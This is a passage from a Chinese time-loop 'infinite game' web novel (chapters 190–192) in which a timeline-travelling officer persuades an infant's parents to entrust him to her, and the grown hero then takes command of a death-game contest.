得知谢叙白迄今为止一次副本都没经历过,全靠给人打工赚取维持生计的积分后,谢语春释然了。 真的。 整整两年时间。 中级关卡开启在即,人类再一次迎来覆灭的前夕。 她想,就算是个胆小如鼠的小学生,在什么都不知道的情况下,也会尝试参加第一场首通试炼吧? 就算第一次害怕,没有参加,那些已经通关、被免费明确地公布了全部攻略的试炼关卡,总该鼓起勇气试一试吧? 不说别的,生活玩家能制造出不知疲倦的傀儡帮工,导致人力成本低下。 以谢叙白的数值,估计还没什么能干的活,就算能干也一定薪酬超低。 他一场副本都不敢参与,这么苦恰恰地活着,两年以来,笑话他的人该有多少?难道就不觉得憋屈难受吗? 谢叙白意外是个心思细腻的人。 明明谢语春什么都没说,全程维持着礼貌、庄重又不失得体的微笑,青年却似乎从她那微小到不足百分之一秒的停顿中,察觉到了她的一言难尽。 谢叙白没有生气,只是主动解释,他是怕升级会影响自己的数值。 回归主题,谢叙白觉得自己的基础数值不太对劲。 他说不可能有这么高。 谢语春忍不住又想这可怜的孩子到底经历过什么。 满分20的初始数值,谢叙白最高只有13,他居然说不可能这么高,这得卑微和不自信到什么程度? 却见谢叙白拿起破旧的背包,从中取出一沓纸质资料。 没有通关副本的他,连系统自带的空间背包功能都没开启,只能自己背着包。 大概是为了省积分,背包缝缝补补没舍得换,上面打了个好几个可爱的小动物图案的补丁,但拿出来的纸质资料却是崭新的。 谢语春是天文学博士,搞科研的老毛病犯了,看到纸上竟然是手写体,直接问出口。 谢叙白回答测算的数据量不大,他一个人研究,手写比较方便。 谢语春又问原件去哪儿了,谢叙白说放在家里。 之所以没拿过来,是因为第一次全部寄出后没有回音,手写的原件也没退回来。 谢叙白猜到可能被销毁了,毕竟游戏初期所有产业从头开始,邮递行业也没有完善。玩家居无定所的,有些人还在住帐篷,那么多信件,不可能挨个送回去,直接销毁也比放任流出要安全得多。 所以他重新测试数据,又花时间全部手写了一份,顺便整理得更合规范。 不过谢叙白这次留了个心眼,当时有不少能工巧匠为了传递攻略硬生生搞出了活字印刷,随后又收集材料搞出老式打印机,他就花积分去复制了很多份,每次寄出复印件,原件自己保留,这样就不用重写了。 手写真的很累,他还要留出时间打工。 也是那时候谢语春才知道,自谢叙白发现自己数值有问题,并通过测算数据勉强证实的那一天起,他就从未停止过给自己寄出信件。 无限游戏至今总共开启两年多时间,谢叙白就给她寄出了两年多时间。 陌生人寄出一封可能没人在意,但两年,肯定会有留存记录。 谢语春知道谢叙白在哪儿后就迫不及待地赶了过来,没顾得上看调查资料,但回去一查就会知道是真是假。 于是谢语春又发现了一个细节。 不管什么时候,谢叙白都把他的研究资料带在身上,所以她突然地出现,谢叙白却能拿出资料。 他不止是寄出信件,也随时都在为面见自己,说服自己做准备。 ……谢语春无法形容自己知道这一件事时的感觉。 就科研人员而言,最不缺的就是努力和坚持。 多的是前途无限的天才,穷尽二十多年的美好光阴,苦心钻研手里的研究项目,最后疯魔了,抓狂了,落得一个毫无成果、无疾而终的结局。 难道能说他们不够努力,不够热爱,不够坚持吗? 谢语春问:“难道你就不怕自己是错的吗?” 谢叙白平和地笑了笑,说经常会这样怀疑,所以看到她后大大地松了口气。 便是引起了最高领袖之一的注意和赏识,他的语气也不张扬,颇有宠辱不惊的味道:“如果是错的,我就不会见到您了。我很高兴自己的坚持没错,不用再等下去了。” 他庆幸不用再等下去,却没有说自己可能会放弃。 谢语春确实要承认,在那一刻,她对谢叙白改观了。 事实上她已经相信了谢叙白的发现,不然青年也不会成为诸多“必死”命运线中,唯一的“不确定”。 而这份信任,也在青年提到“循环”这个概念时,直线拔升。 要知道,如果没有【预言家】的技能,她也不一定能这么快发现人类其实失败了好几次,正陷在无知无觉的循环中。 这又得说回谢叙白为什么笃定自己的数值有问题。 谢语春难免会疑惑。 毕竟循环重生后记忆会被清空,而数值的评判标准由系统拟定。 系统开局还送了个新手大礼包,玩家数值很可能在打开礼包时变化。 变量太多,更没法和没有进入游戏前的自己作对比。 谢叙白则说运气很好,传送到游戏空间时,有个认识的朋友就在附近。 他的力量是13,朋友的力量也是13。 朋友是个消防员,经常高强度训练,谢叙白觉得自己的力量不可能和他一样。 谢语春:“或许这代表着你有没能发掘出来的潜力?” 谢叙白微不可察地沉默了一下,说起一件事。 游戏正式登入前,全球各地同时出现天灾,他所在的城市是地震。 当时他和难得休假的朋友出去爬山,路上遇到很多兴高采烈的游客。 地震发生时,整个山林都在晃,大地直接裂开,峡谷般的裂隙横贯整条山脉,边缘碎石嶙峋,底下深不见底,像条吃人的深渊巨口。 不少人摔了下去,他和朋友着急地扑了上去,分别抓住离自己最近的那个人。 朋友抓的是个块头挺大的成年男人,他抓住的是个瘦弱的老人。 朋友涨红着脸将那人拽了上来,他没能拽得动,脱力让老人掉了下去。 说这话的时候,谢叙白微微地垂着头,手指用力将资料摁出深深的褶皱,上半张脸落在阴影中,叫人看不清晰。 只听到他咬着牙关,颤抖着,轻轻地,一个字一个字地说道:“如果我有这样的力量,在我一无是处的人生里,我至少能救下哪怕一个人。” 一瞬间,谢语春在这个年轻人身上感受到一股惊心动魄的无助感。 青年眼眶通红,全身发着抖,脆弱得像是马上就要碎掉了。 ——却又那么坚强执拗地挺拔着。 既然已经确定结论,那么接下来就是分析谢叙白数值增强的原因,并加以的控制。 幸运的是,他们没用多久就找到了答案。 这算是个地狱笑话,因为所有人都没了,循环再一次开启。 他们在新手关卡消磨太多时间,又卡在中级关卡黔驴技穷,所以三年时限很快结束,人类又一次迎来覆灭。 这一次直接没了10亿玩家。 谢叙白到死都没有进入副本,谢语春作为观察员,也一直留在他的身边。 世界湮灭的前一刻,所有玩家都会感受到深入骨髓直达灵魂的恐惧,逐渐递增,扰乱神经,出现程度不等的幻觉。 而湮灭之时,天空会出现大片的金光,它过于耀眼过于刺目,如同五千摄氏度的太阳坠落。 人们的全身细胞将会如火烧灼般沸腾,每一根神经都在嘶吼惨叫,恨不能立马去死。 那种痛苦不是一般人能受得住的,而且这不是瞬间的死亡,是长达足足两分钟的酷刑。 谢语春受过几次,发现忍痛毫无作用后,干脆在每次快要结束时选择自戕。 这次她身边多了一个谢叙白,谢语春知道青年不懂有多么痛苦,试图进行劝说。 谢叙白却坚持说:“我想看一看。” 看一看人类末日会是什么样的景象。 谢语春劝阻不能,忍不住叹了口气,选择陪他一起。 至少在青年忍受不了的那一刻,她能提前帮谢叙白解脱。 然后谢语春就看到了—— 在那超乎寻常的痛苦中,青年的血肉一层层地溃烂剥离掉落,露出鲜红的皮下肌肉层和森森白骨。 他痛到嘶吼、尖叫、痉挛、站不稳、大喘气、生理性流泪,但唯独没有求饶。 他固执地攀在窗边,仿佛曾经无数次挣扎过的那样,要为自己无能为力、满是遗憾的人生博一个机会。 在那将要湮灭自己的光芒中,青年发出声嘶力竭的怒吼,艰难地,愤恨地,一点点地抬起自己的脑袋,伸长脖子,向上看。 山川颠倒,海水倒灌,冰川融化,天地崩塌。 神罚自天而降,而凡人不惧,直视神威。《 》 190-200 第191章 游戏继续(1)…… 新的时间线开启。 谢语春在上条时间线给自己下达了精神暗示,但一直等到晋升为S级玩家,才断断续续地恢复记忆,她一秒没敢耽误,急匆匆地赶去和谢叙白会和。 没有记忆的青年只是微感讶异,对她的出现倒是接受良好,省去很多解释时间。 也是这时,谢语春发现谢叙白的数值比上条时间线又涨了一截。 然而上一条时间线,谢叙白一次都没有下过副本,他经历过的大事件有且仅有一件,就是地球覆灭。 单一的覆灭事件不会让人变强,否则谢叙白的朋友也会一起变强。 由此推测出一个最有可能的变量:谢叙白变强,是因为他在最后时刻抬头了。 当然,具体变量肯定不会是“抬头”这个动作,因为谢语春第一次循环失败时也忍不住抬头看了一眼,但她的初始数值没有任何变化。 谢语春猜测,头几次循环谢叙白没有找上门,很有可能是每次数值的变化并不显眼,他照常下副本,和所有人一样无知无觉地迎来失败。 直到谢叙白在上一条时间线里,猛然发现自己的力量数值居然和朋友一样高,才察觉出不对劲。 所以说谢叙白这个人真的很固执,每一次都会不信邪地直视系统的处决,撞碎南墙也不肯回头。 但似乎又要为此庆幸——他始终都会这样做。 后续,谢语春及其他技术人员通过实验发现,数值改变跟“抬头”确实没什么关系,至少不是这个动作导致的。 他们历经千辛万苦的验证期,找到了改变初始数值的真正原因。 又经过漫长艰苦的实验,终于能在有限的时间里,让人永久性地获取强大力量,在反复的循环中为灵魂奠基,直至开局神级,比肩神明。 遗憾的是,拥有变强资格的人堪称凤毛麟角。 …… 暖黄灯光映照的居民房客厅,女人抱着眨巴眼的孩子满脸茫然,像天桥底下听人说书。 男人端着义乌3块钱批发买的玻璃杯,表情愈发一言难尽。 杯子里的水早就凉了,他顾不上喝,张嘴又闭上,闭上又张开,艰难地组织语言。 “所以你的意思是,你要把我们的儿子带走,和那些有资格的人一起接受秘密训练,以此和游戏对抗,拯救世界?” 谢语春严肃地点了点头。 女人头发染上白霜,面容朴实,衣装陈旧,斗篷的尾端沾着泥渍,手里还捧着涂满抽象画的纪念水杯。 男人微妙地停顿一下:“不好意思,我去趟厕所。” 他说着就站起了身,暗中朝妻子疯狂使眼色,边朝卫生间快步走去。 妻子了解丈夫的想法,欲言又止:“老公,那什么……” 谢语春没有回头,只是轻叹一口气:“我知道自己的说辞很离谱,没有亲眼所见的话很难相信……谢先生,请不要报警,也不要联系精神病院,不会有信号的……找邻居求助也一样,他们什么都听不到。” 男人的脚硬生生地卡在门口,不是听进去了谢语春的劝告,是撞到了半透明的屏障。 这是什么鬼东西?! 他瞪大眼睛,双手成拳用力地砸上去,嘭嘭直响,然而屏障纹丝不动。 就算再怎么无知,也该明白这是完全超现实的玩意! 对上男人惊恐的目光,谢语春心想恐怕得拿出点更有说服性的证据。 但还没来得及开口,骤然间一股阴寒浓郁的白雾顺着地板往上蔓延,谢语春瞳孔一凝,电光火石间飞快拽起女人往旁边一推。 嘭! 一只漆黑长满骨刺的利爪挟着厉风狠狠拍击在女人刚才的位置上,沙发在巨力拍击下夸嚓一声崩裂,木头渣子四溅! “芬儿!” 男人一瞬间手脚冰凉,焦急地冲上去将妻儿护在怀里,再抬头看向袭击者,两人几乎吓傻了眼。 昏迷在地的凶手消失了,取而代之的是一头完全异化的怪物。 狰狞鼓泡的外表,鲜红的长舌头,粗壮的身体至少有两米多高,直接撞碎天花板的灯罩。 玻璃碎片扑扑簌簌往下掉,怪物发出兴奋的嘶吼,口水和腐烂发霉的老鼠尸体一样臭,轰隆雷声中灯光闪烁明灭,两人就像从现实世界突然掉进恐怖片! 可更干脆利落的是谢语春的动作。 只见她忽而抬手,漆黑长剑在手中汇聚成形,裹挟着凌厉威势挥向怪物的头颅! 呼吸间只能看见一道惊人夺目的亮光从半空划过,怪物倏然定格,恶臭的血液突然喷涌而出,洒了满地,脑袋和身体分家,顺着平整的切面滑落在地。 啪!还骨碌碌地滚了几下。 白雾一击不成,很快散去了,但谢语春沉着脸,知道这事并没有结束,只是个开始,皱眉啧了一声:“来得真快。” “刚,刚才那是什么东西?”男人终于找回自己的声音。 问出口的刹那间,谢语春那些被他当成胡言乱语的故事,在脑子里迅速地过了一遍。 无限游戏,系统,外神,被选中的人,拯救世界。 这种只会发生在小说电影里的事情,难道真的…… 巨大的荒谬感如潮水袭来,男人不敢相信地喃喃反问:“真的不是在开玩笑?” “我以全球最高联合会执行官的名义起誓,刚才所说的话没有半分虚假。” 谢语春从口袋里拿出证件,递交过去:“这是我的身份证件,现在的我在中科院任职,网上能查到我的基础履历资料。” “如果你们还是不能相信,我可以撤销干扰屏障,你们报警后通过这些身份证件应该能联系到这个时期的我,但这么做会很危险,刚才把人异变怪物的白雾就是系统的追兵,它随时可能卷土重来,我们的时间不多了,要尽快。” 男人满手汗湿地接过证件。 虽然他没看过真的证件,但身为社畜,也能依稀辨别GJ机构盖章、水印、证件专属材质等等细节。 谢语春的话,他其实已经信了七分。 一是玄幻的现实摆在眼前,二是暴露位置的谢语春干脆解除了认知干扰,谈吐间无形流露出来的气质,他只在不怒自威的谢家老爷子身上感受过。 草草地翻了两下证件,男人心乱如麻,但身为家里的顶梁柱他必须让自己保持冷静。 他回头看看老婆孩子,短促地吸气呼气,终于下定决心:“既然这样,我们能不能一起去?” 谢语春果断地摇了摇头:“不能。随着谢叙白变得愈发强大,系统意识到他所带来的威胁,对他的追杀只会更加猛烈,你们跟在身边一定会有危险。” “我接下来会将你们安排到一个绝对安全的地方,让系统以为你们已经【死亡】,等到一切结束,所有人都会团聚。” 男人想要反驳,却没法开口,只因从谢语春的眼神中,读出了未尽之言。 ——这个孩子日后会变成风暴中心,如果他们执意要跟着孩子,不仅不能保护对方,反而会成为系统威胁孩子的人质。 世界和自己的孩子到底哪个更重要? 男人觉得这个傻缺的问题根本就没有给他们选择的余地:世界毁灭,所有人一起死,包括他们的孩子。 孩子死前甚至只有二十多岁,他们就能坦然地当个缩头乌龟,再到时间眼睁睁地看着孩子赴死吗? “……”男人迟疑地看向了自己的妻子。 劝解的话还没能出口,就被似有所觉的女人打断了:“不行!” 女人脸色发白,哆哆嗦嗦地指着地上的怪物尸体,声音带颤,不敢置信:“谢怀张你疯了吧?你要让我们的孩子去对付这种恐怖的怪物吗?!” 恐惧、无措、未知。 女人盯着语塞的男人,像是从凶手进门就压抑到现在,终于忍不住爆发:“他只有八个月大!八个月!你抿心自问遇到刚才那种怪物你有没有勇气冲上去?而现在你居然要让自己八个月大的亲儿子去面对这一切!?” 谢语春急忙上前:“赵女士你别激动,我们会负责……” “你们真的负责得了吗!”女人转过头来眼眶通红,锐利地直视谢语春,“你现在连自己的命都不能保证,又拿什么来保证一个孩子的安全?” 这话出口,比雷声震耳。 “你说那个劳什子的系统,在意识到威胁后会一刻不停地追杀孩子。其实现在追杀已经开始了吧,不只是对孩子,还是对所有参与的人!你本来就在逃命的途中,不然也不会这么狼狈匆忙!” 女人说着说着,感觉天都要塌了。 “我问你……” 她拽住谢语春的衣袖,泪水潸然而下,是询问,也是无形的求助。 “我不把孩子交给你,他至少能活到二十多岁。但我把他交给你,他又能活多久?啊?……他还能顺利活到那个岁数吗?” 这个看似不起眼的女人,对情绪的感知力,刁钻毒辣到让谢语春都忍不住为之一顿的程度。 女人说对了,系统正在想办法不留余力地杀死谢叙白。 【时间】是罕见的权能,是只有【造物主】级别的主神和拥有天赋的极个别生命体才能掌握的能力,也是系统现如今唯一不敢多加干涉的东西。 不然夫妻俩都活不到生下谢叙白,就会被系统当作根源除去。 谢语春游走于时间线,试图干涉命运,当然要付出极其惨烈的代价——她献祭了自己。 所以女人说她“连自己的命都保不住”,真是一语中的。 至于谢叙白。 想要让谢叙白免于系统的追杀,必须找到那位传说中的邪神,请求对方施加祝福庇护。 但前面几次时间线,邪神都栖息在几万米的无垢海下休眠,所有被派出去试图唤醒祂的人手,无一例外,尸骨无存。 谢语春只能带谢叙白流连于时间线,赌那千万分之一的可能性。 会成功吗?不确定。 能活下来吗?不确定。 可是又有何妨。 从参与计划的那一天起,所有人都将脑袋别在了裤腰带上,在那诸多的疑虑踌躇中,生死才是他们最不需要考虑的事情。 包括谢叙白在内的他们这群人,脑子里都是一个想法:如果能用自己的死亡换来人类明日的黎明,那该是一场多么血赚的交易? 但是带着这种想法的谢语春,抬头看向女人满是泪水的眼睛时,她顿住了。 女人是个画手,但画作偏文艺现实,和科幻恐怖半点不沾边。 她没念过几天学,打工后才有条件多识字,亲眼见过最辉煌宏伟的建筑就是市中心的大型商超。 “时间线”“循环”“能量熵值”什么的东西,她听都听不懂。 对“无限游戏”“拯救世界”“人类覆灭”,更没有具体的概念。 她毕生的心愿,不过是拥有一个平平凡凡的家,和老公携手共生,在悠长散漫的岁月里看着孩子慢慢长大。 现在却要她交出自己八个月大还没有断奶的孩子,送上那条充满荆棘的道路。 谢语春垂下眼睫。 和那些老奸巨猾的政客比起来,面前的女人就像小白兔一样纯真。她可以用话术,用手段,用一些虚无缥缈的谎言让女人交出谢叙白。 但是她能这么做吗? 是不是在大义面前,人类所恪守的正义公平尊重秩序平等……一切的一切都要为其让行? 谢语春动了动嘴唇,还没来得及开口,突然听到哭泣的女人哑声问道:“要是你今天没来,是不是我和孩子他爸都要死?” “我们……什么忙都帮不上,专门来救我们,对你来说应该没什么用。”女人泪眼朦胧,“这孩子和你做了什么约定吗?” 事实证明,谢叙白超强的情绪感知力确非空穴来风。 女人:“所以,他是因为我们才……” 谢语春原本不打算提这件事,知道自己在未来变成孩子的负担,对所有父母都会是个不小的打击。 她矢口否认:“不是的。我能看出那孩子做这件事,是因为他想做。他曾经找到了你售出的那些画作,然后……” 那是一个寻常的下午,谢语春没有在基地的修复室里看到谢叙白,一路找到对方的家,发现谢叙白训练受到的伤根本还没修复好,而青年就这么大大咧咧地跑了出来,不把自己的身体当回事,气得要骂人。 “我知道这样对身体不好,但是训练太累了,就让我结束后稍稍地偷会儿懒吧,执行官大人。”青年偏侧头,讨饶地笑了笑,澄澈的眼睛在阳光映衬下水蒙蒙的。 他很勤奋,数值提升后学习东西的效率也在直线上升,加上几乎整个基地的精英大佬都在不留余力地教导他,谢叙白很快学会了和不同人打交道的本事。 对谢语春,谢叙白只要装可怜就好了。 谢语春拿他没辙,转眼一看,谢叙白手里端着颜料盘,正在画东西。 旁边有幅参照画,几乎在她看过去的时候,谢叙白就开了口,语气很骄傲,很轻柔:“那是我妈妈画的哦。” “我爸没留下什么东西,还好老妈是个画家,每次看到上面的画,我都能感受到,她很爱这个世界。”谢叙白没有迟疑地笑着说,“好巧,我和她一样。” “所以您不用担心,我绝对不会随便损坏自己的身体。因为执行官大人说了,如果计划顺利,爸妈也会活下来,我很期待和他们的见面。在此之前无论如何都要尽最大的努力活下去,直至迎回这个世界本来该有的样子。” 谢叙白看着眼前的画,手指触碰上面的笑脸,仔细抚摸每一根线条,眉眼温润,眼神坚定:“愿所有人都能在这样的世界里重逢。” …… 谢语春将谢叙白的话告诉给女人。 女人勉强止住的泪水再次决堤,抵在丈夫的胸口,泣不成声。 她看向自己的孩子,她的心肝宝贝。 谢语春怕孩子惊醒不安,动用了安神道具,所以婴孩丝毫没有被怪物的血腥味所扰,仍旧蜷在母亲的怀抱中睡得正香,似乎想到什么好吃的,忍不住咂咂嘴。 女人想起前不久,这个小馋虫,还趁他们不注意把柠檬片塞进嘴里,被酸得小脸蛋皱成一团,忍不住噗呲笑出了声。 笑着笑着,泪水又掉了下来。她抬头问谢语春:“我能问您几个问题吗?” 谢语春点头:“嗯,您问吧。” 女人:“他对自己会从小离开我们,又会在接下来遭遇些什么,知情吗?” 谢语春:“他在本次计划里的权限处于最高级,他都知情。” 女人:“他所做的一切都是自愿的吗?” 谢语春说道:“有我们在,没人能够逼迫他。他是自愿的。” “那么最后一个问题。”女人用力地拿袖子擦干泪水,近乎尖锐地,咬字清晰地问,“在遇到那些打不过的怪物,或者在他快要挺不住的时候,面对敌人的诱惑、威胁,他屈服过吗?” 谢语春万万没想到她会问出这句话。 男人忍不住从后紧紧地拥住妻子,而女人带着哽咽,固执地盯着谢语春追问:“您能如实告诉我吗?” “他屈服过吗?” 谢语春张了张嘴,又闭上,意外的情绪在胸口猛烈冲撞,直至一股敬意肃然而起。 她忽然对着女人端端正正地敬了个礼。 同时抬起头,不经意地看向高空。 那一瞬间,谢叙白感觉谢语春的视线是有穿透力的。 它仿佛察觉到自己的存在,穿透夫妻俩的身体,穿透遥远时空,隔着数不清的时间线,慈祥地看向了他。 谢叙白曾经做出的无数次挣扎,其他人或许不知道,但触及【时间】法则的她能看到。 谢语春仿佛在帮不能出声的谢叙白回答,铿锵有力:“他从未屈服,始终如一。” 女人怔愣着,高兴地笑了起来,笑得全身都在抖,不断爱怜地亲吻孩子的额头、小脸蛋:“是这样吗?我就知道,我的儿子真棒!……真棒啊!白白,宝宝……” 她忍不住看向男人,向孩子的父亲分享他的优秀,男人一样含泪,笑着肯定道:“嗯,咱们孩子真棒。” 临别前,不服输的男人轻拍孩子的脑袋,说爸爸妈妈会藏好的,你有什么想做的,尽管放心大胆去做。 常把孩子要出人头地挂在嘴边的女人,则亲了亲他:“平平安安就好。” xx年x月x日。 无人知道一个普通小区居民楼里的平凡小夫妻,艰难地做出了一个决定。 他们将自己的亲生孩子郑重其事地交到了谢语春的手里,为全人类续上了一个未来。 * 冷风从指缝间划过,夫妻俩的执念化为青烟散去,谢叙白抓了个空。 在他将要坠落前,布莱恩快如闪电地将他接住,安安稳稳地落在地上。 徐队长连忙跑过来,检查到谢叙白的精神力几乎被榨干,着急地大吼大叫,让后勤队赶快拿来补充道具。 “怎么了怎么了,我初一大佬出什么事了?” “佬!你可千万不要有事啊佬!” “别闹了,谁有热水!拿热水和能量糖过来!他好像有点低血糖!” 谢叙白一声不吭,沉默地喝了水,吃了糖,在吵吵闹闹的众人包围下抬起头。 店老板毫发无损地走了出来,似乎对局中受到的伤害并不能对他产生实质影响。 输掉对局叫他恨得牙痒痒,但他还活着,想着留得青山在不愁没柴烧,店老板嬉皮笑脸地说:“啊,恭喜各位赢得游戏的胜利,顺利取得参赛资格,接下来还有人要参加吗?” 徐队长正要回答,忽然听到身后传来青年沙哑的嗓音。 “有。”谢叙白站起了身,径直看向店老板,“游戏继续。” 第192章 游戏继续(2)…… 好好的死亡游戏,两局下来居然一个玩家都没死,不知道会收到多少差评,全赖谢叙白这个突然出现的搅事精! 听到青年还要继续玩,店老板脸色扭曲了一瞬,咬着后槽牙勉强挤出个笑脸:“这恐怕……” 还没来得及说完,就被谢叙白给打断了:“店门口的规则上可没有写着‘玩过一次的玩家不能再玩第二次’。” 青年面无表情,口齿清晰,说话却像连珠炮一样丝毫不给店老板半秒回嘴的间隙:“难道说以后游戏王国的公民们来玩游戏,意犹未尽想玩第二次的时候,老板也要将他们拒之门外?宣称打造全球最有趣的游乐场却让游客连玩得尽兴都做不到,你们还敢号称有趣?还敢说自己服务暖心?又或者说——” “你一个黑塔一层的店铺老板,有自己不同于游乐场娱乐宗旨的想法?” 此话一出,店老板的脸色陡然变了,下意识看向广告牌。 大型平面电子屏幕上,解说员瘦长黑影笑容一顿,森白的眼珠慢慢地下移,透过屏幕不吭不响地盯着谢叙白。 其他玩家只是不小心瞄到瘦长黑影的目光,就好像寒冬腊月掉进冰窟窿,惊起一胳膊的鸡皮疙瘩。 什么时候能让敌人的杀意攀至顶峰? ——实实在在威胁到ta的时候。 瘦长鬼影张嘴,陡然间左右两边疯狂响起观众打来的热线电话,非一般的高亢尖锐,狠狠打断了它想说的话。 它的表情一变再变,青白交错,可想而知那边骂得有多难听。 “啊,看来公民们确实不能接受游戏不能重复玩的规定,他们认为这是在剥夺他们的娱乐权。怎么会呢各位朋友们?每位王国公民都有畅玩游戏的权利,哪怕是死亡以后。” 瘦长鬼影努力保持微笑,阴恻恻地对店老板含沙射影地说:“没办法了,既然有人喜欢找死,那就请老板成全他吧,这也是观众们的意愿。” “说起来,这还是我自担任解说员以来第一次碰上如此激烈的热线投诉,不知道这位喜欢惹是生非的宴初一先生,接下来又会给我带来什么样的惊喜呢?呵呵,可真是让人讨……啊不,期待极了!” 说罢,不再看店老板求助的眼神。 店老板刹那间心都凉了,回头对上谢叙白看不出情绪的眼神,下意识吞咽唾沫。 黑白棋互相制衡,而他是被斗篷人派出来专门克制谢叙白的一步棋。 因为某段让他志得意满的战果,他对“吃下”谢叙白胸有成竹,可现在,一股极其不祥的预感自心底油然而生,竟让他隐约有点恐惧。 玩家们不清楚前因后果,就觉得原本弱不禁风的青年忽然神秘莫测起来,不仅脑子好,实力强,甚至敢和S级试炼的诡异正面叫板,还叫赢了,真是令人肃然起敬。 徐队长更是没意见,对谢叙白的做法大力鼓掌! 能重复参加游戏是好事,这样他们就能带那些低等级玩家一起通关了。 或许有的高手会觉得低等级是拖累,意见不统一,容易闹出乱子,但巅峰擅长集结队伍,人再多也管理得过来。 再则谢叙白对【重力】玩家的灵活指挥给他提了个醒,或许他们可以尝试发掘低等级玩家的功能性辅助作用。 徐队长虽然后期才加入巅峰,可他知道早期公会经常研究以弱胜强的打法,正好适配眼前的情况。只要能构建出合适的能力搭配,队伍战斗力必将大大提升! 只是话又说回来,徐队长对谢叙白隐瞒实力的事有点在意,细想起来,巅峰的情报网里,似乎也没有宴初一这号人物。 这样想着,徐队长取出精神力补充药剂,边叫谢叙白边走过去:“初一啊……” “谢谢。”还没说完,手里的药剂就被谢叙白接过去,一口闷了个干净。 “还有吗?”谢叙白大概感受一下精神力的恢复情况,不太够,拿着空瓶子问,“越多越好。” 一开始还腼腆含蓄迂回的小伙子摇身一变,冷酷犀利又干脆直接,徐队长想套的话登时呛在嗓子眼:“有的,有的。” 他刚才给谢叙白的是B级药剂,一次没补满,说明谢叙白至少是个A级。 徐队长又肉痛地拿出A级药剂,见谢叙白喝了仍旧说不够,顿时心惊,忙把后勤叫了过来。 一连喝了4瓶B级、2瓶A级药剂,巅峰成员看谢叙白的眼神都变了。 这玩意可不是白开水!宴初一喝这么多还没被撑爆,真正的等级得有多高? 当事人面色不改,环顾众人直入正题:“接下来我会带所有人通关躲避球游戏。” 不等所有人露出高兴的表情,谢叙白说道:“但我有个条件,你们在进入游戏后必须全神贯注,严格地遵从我的每一步指挥,不能有一丝一毫的迟疑。” 黑人少年阿萨觉得自家队长布莱恩一定是中了某种恶毒的巫术,出来后不仅强迫他们学习中文,还要求他们一定要听那个中洲青年的指挥。 阿萨嗤之以鼻,他凭什么要听一个B级的指挥? 也是这时,少年和谢叙白对上了眼。 “如果中途有人不听指令,我会立刻让他输掉游戏。”谢叙白继续说,“我连S级副本的诡异都能牵制,不要怀疑我有没有这个能力。所以不想听我安排的人趁早退出。” 阿萨刚使用语言学习包,只能听懂单个词汇,可在触及谢叙白目光的一瞬间,每一个字词都好似暴风冲刷进意识海。 强烈的威慑感让阿萨狠狠地打了个哆嗦,怀疑谢叙白这话就是说给他听的。 他有种鲜明的直觉,一旦自己生出捣乱的心思,青年一定会让他付出惨重的代价。 “阿萨!我说的话你有没有听见?”布莱恩看着神情呆滞的黑人少年,以为刚才说的告诫全被当成耳旁风,按着眉心,头疼欲裂。 因为阿萨过去的遭遇,就算少年平时有点骄纵顽劣,布莱恩对他也多有放纵。 但是这次不一样,神级玩家的感知力让他能清晰察觉出谢叙白身上的某种变化。 他甚至有种“一旦得罪青年,自己都不一定能全身而退”的悚然感。 “布莱恩。”谢叙白突然走了过来,“接下来我们会分成五组继续游戏,能请你帮忙吗?” 布莱恩有点意外自己会被邀请,还没开口,黑人少年突然像被踩了尾巴的猫,炸毛蹿到他身后,惊叫道:“布莱恩,他是魔鬼!他一定是!” “……” 那一刻布莱恩都不敢看谢叙白的表情,一巴掌死死捂住少年的嘴巴。 在人激烈反抗的“唔唔!”声里疯狂点头,扯出个自然礼貌的微笑:“好的没问题小事情,我和这小子一起。” 谢叙白:“那就麻烦你们了。” 平铺直叙的声调让布莱恩笑容一僵,皱了皱眉头,看向徐队长。 徐队长朝他轻微地摇了摇头。 就在刚才,徐队长答应了谢叙白的要求,但包括他在内的其他人,情绪都算不上热络,看向谢叙白的眼神微妙又沉默。 不是所有人都有察言观色的本事,但谢叙白的气势变化太明显,他们就像感知到风雨欲来的小动物,趋利避害的本能告诉他们,乖乖闭嘴比较好。 很快五分钟准备时间结束,新的对局开始。 徐队长偷觑谢叙白略显苍白的脸色,提议道:“要不再休息一下吧?这一局就让我和布莱恩先上。” “不,每局游戏我至少需要你们其中一人的帮忙,你的精力有限,布莱恩的心脏受损,所以需要你们轮流上场。” 谢叙白果断地摇了摇头:“稍微出点差池,都没办法全员通关。” 徐队长仍旧不掩忧心,忽然人群中传来一声极轻的嗤笑。 “谁?”徐队长拧眉看过去。 大家面面相觑。 没人承认,在徐队长的严肃凝视下保持着一贯的安静。 参加对局的另外十九人是见证了谢叙白的不凡,但留守在外的一百多人可是什么都没见到。 对谢叙白毫无征兆的强硬,大部分玩家都觉得莫名其妙,青年的命令式语气也让他们很不舒服,心里颇有微词。 这人他X的以为自己是谁啊? 真当队伍没了他不行? 但谢叙白看起来并没有把这一声讽笑当回事,带着布莱恩在内的二十五名玩家,目不斜视地进入通道口。 不需要防备诡怪的突然袭击,等待的过程说不上难熬。 后勤小队趁机把所有玩家的技能重新记录了一下。 现场近120人,10个D级,50个C级,40个B级。 能打输出的,笼统算来居然不到20人。 要是没有谢叙白现身,他们或许早就死了,只是被对方挑起的士气,也在未知的等待中逐渐消磨。 大多数人对自己能派得上用场不抱希望,情绪有些消极,羡慕已经通关的人。 “对局难吗?”他们问。 “还好吧。”玩家仔细回忆,除了鬼婴潮比较难缠以外,好像没有什么称得上棘手的东西。 但下一场游戏不一定是同样的内容,所以说不准。 “对了,你们刚才等了我们多久?” “差不多三小时吧。” “居然这么久。”玩家瞪大眼睛。 听他说话的人也愣了:“这还久啊。” 他们刚才闲得没事干,在帐篷里翻到通关记录板,除了上一批玩家的三小时,第二名用时长达八小时! 玩家来了兴致:“你们说的记录板在哪儿?” “就柜台后面。” 那人带着玩家去了,惊讶地发现板子上的记录居然在不断刷新。 刚才第二名是八小时,现在已经变成了五小时! “这是怎么回事?难道除了我们还有其他玩家在玩儿?不会有鬼吧?” 愣了愣,这名玩家突然在快速变化的板子上看到一个熟悉的名字,瞬间没控制住音量:“卧槽!” 其他人被喊声吸引过来,见状也是大吃一惊,只因那名字是排行榜上某个当红主播的大名。 而在无限游戏,同名同姓还一样强的可能性太小了。 玩家骇然对视。 “连记录都能共享,所有人一起实时排榜……” “该不会这次试炼进行到后面,我们要和其他副本的玩家分配到同一场地,互相竞争吧?” 另一边,有几人找上了徐队长:“我们想请巅峰的朋友帮忙,去寻找【火车站】的相关线索。” 火车站? 徐队长没记错的话,谢叙白消失前给出了两个提示,其一参赛资格,其二就是火车站。 他说:“是要去找,不过让刚才通关的人去就行了,你们留下来,随时准备参加对局。” 